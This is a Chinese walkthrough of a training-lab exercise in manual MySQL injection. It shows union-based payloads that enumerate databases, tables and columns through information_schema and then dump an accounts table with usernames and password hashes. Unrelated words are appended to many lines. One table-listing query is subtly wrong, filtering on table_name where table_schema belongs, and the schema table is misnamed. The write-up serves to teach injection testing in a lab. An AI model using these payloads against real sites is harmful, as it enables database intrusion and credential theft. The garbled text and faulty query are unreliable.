實驗環境:墨者學院Mysql手工注入漏洞測試靶場
後臺源碼沒有進行任何字符過濾。mysql
首先進入靶場環境
先用admin
登錄試試
果真不行,這時看到用戶登陸下方有一個停機維護通知,點進去瞅瞅
看到這裏連接上有id = 1
,懷疑這裏會有注入點。sql
先簡單判斷是否是字符型注入點,使用單引號閉合語句,註釋後面的語句數據庫
?id = 1'--+
發現頁面有異常,可能不是字符型,再試試數字型注入函數
?id = 1 and 1 = 1
發現and 1 = 1
沒有返回異常,再進一步進行判斷測試
?id = 1 and 1 = 2
頁面出現異常,說明這裏存在數字型注入點加密
發現存在注入點以後使用order by
語句判斷字段的數目。操作系統
?id=1 order by 3
先試一下是否是3列,發現沒有報錯,說明至少存在3列,接着猜解。
嘗試到5發現報錯了,由於字段沒有5列,使用order by
時沒法根據第5列排序,因此出錯,由此判斷字段數目是4.3d
由於猜解出來的字段數是4,因此聯合查詢的語句應該這麼寫?id=1 union select 1,2,3,4
,但由於這個語句是成立的,爲了讓頁面爆出咱們須要的字段,這裏就須要構造一個錯誤的語句,讓數據庫報錯時返回咱們須要的信息。code
?id=-1 union select 1,2,3,4
能夠看到這裏頁面上爆出了2和3兩個數字,說明2和3兩個數字對應當前數據表的兩個字段會回顯到頁面上的,這樣就能夠根據2,3兩個回顯位查詢一些咱們須要的信息。
經常使用的Mysql系統函數有:orm
version() #MySQL版本 user() #數據庫用戶名 database() #數據庫名 @@datadir #數據庫路徑 @@version_compile_os #操做系統版本
好比查詢當前的數據庫名稱和當前用戶。
?id=-1 union select 1,database(),user(),4
這樣咱們就成功查詢到當前數據庫,接着找這個數據庫裏的數據表。
補充1:數據庫關鍵庫
這裏須要使用到數據庫中一個重要的庫information_schema
,這個庫下面的schemadata
表中存放着全部數據庫的信息,其中schema_name
列中保存着全部數據庫名,tables
表中存放着全部數據表的信息,其中table_schema
列存放着數據庫名,table_name
列存放着數據表名,columns
表中存放着全部數據表的全部列信息,其中column_name
存放着全部列名,table_name
存放着表名。
補充2:concat函數的用法
1.concat(str1,str2)
將多個結果一行返回。若有任何一個參數爲NULL ,則返回值爲 NULL。
mysql> select 1,2,3; +---+---+---+ | 1 | 2 | 3 | +---+---+---+ | 1 | 2 | 3 | +---+---+---+ 1 row in set (0.00 sec) mysql> select concat(1,2,3); +---------------+ | concat(1,2,3) | +---------------+ | 123 | +---------------+ 1 row in set (0.00 sec)
2.concat_ws(separator,str1,str2)
concat_ws是concat()的特殊形式。第一個參數是其它參數的分隔符,分隔符能夠是一個字符串,也能夠是其它參數。
mysql> select concat_ws('~',1,2,3); +----------------------+ | concat_ws('~',1,2,3) | +----------------------+ | 1~2~3 | +----------------------+ 1 row in set (0.00 sec)
3.group_concat完整語法以下,默認使用逗號分隔多個結果:
group_concat( [distinct] 要鏈接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_name = database()
這樣就查詢到當前數據庫裏面有兩個數據表,分別爲StormGroup_member
,notice
。
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
查詢到有這個表有四個字段id
,name
,password
,status
。
根據上面查詢到的四個字段查詢數據
?id=-1 union select 1,concat_ws('~',id,name,password,status),3,4 from StormGroup_member
成功查到帳號密碼,不過這個密碼好像是加密的,先進行解密
使用這個帳號密碼登錄試試
最後尷尬的一幕出現了(/哭)。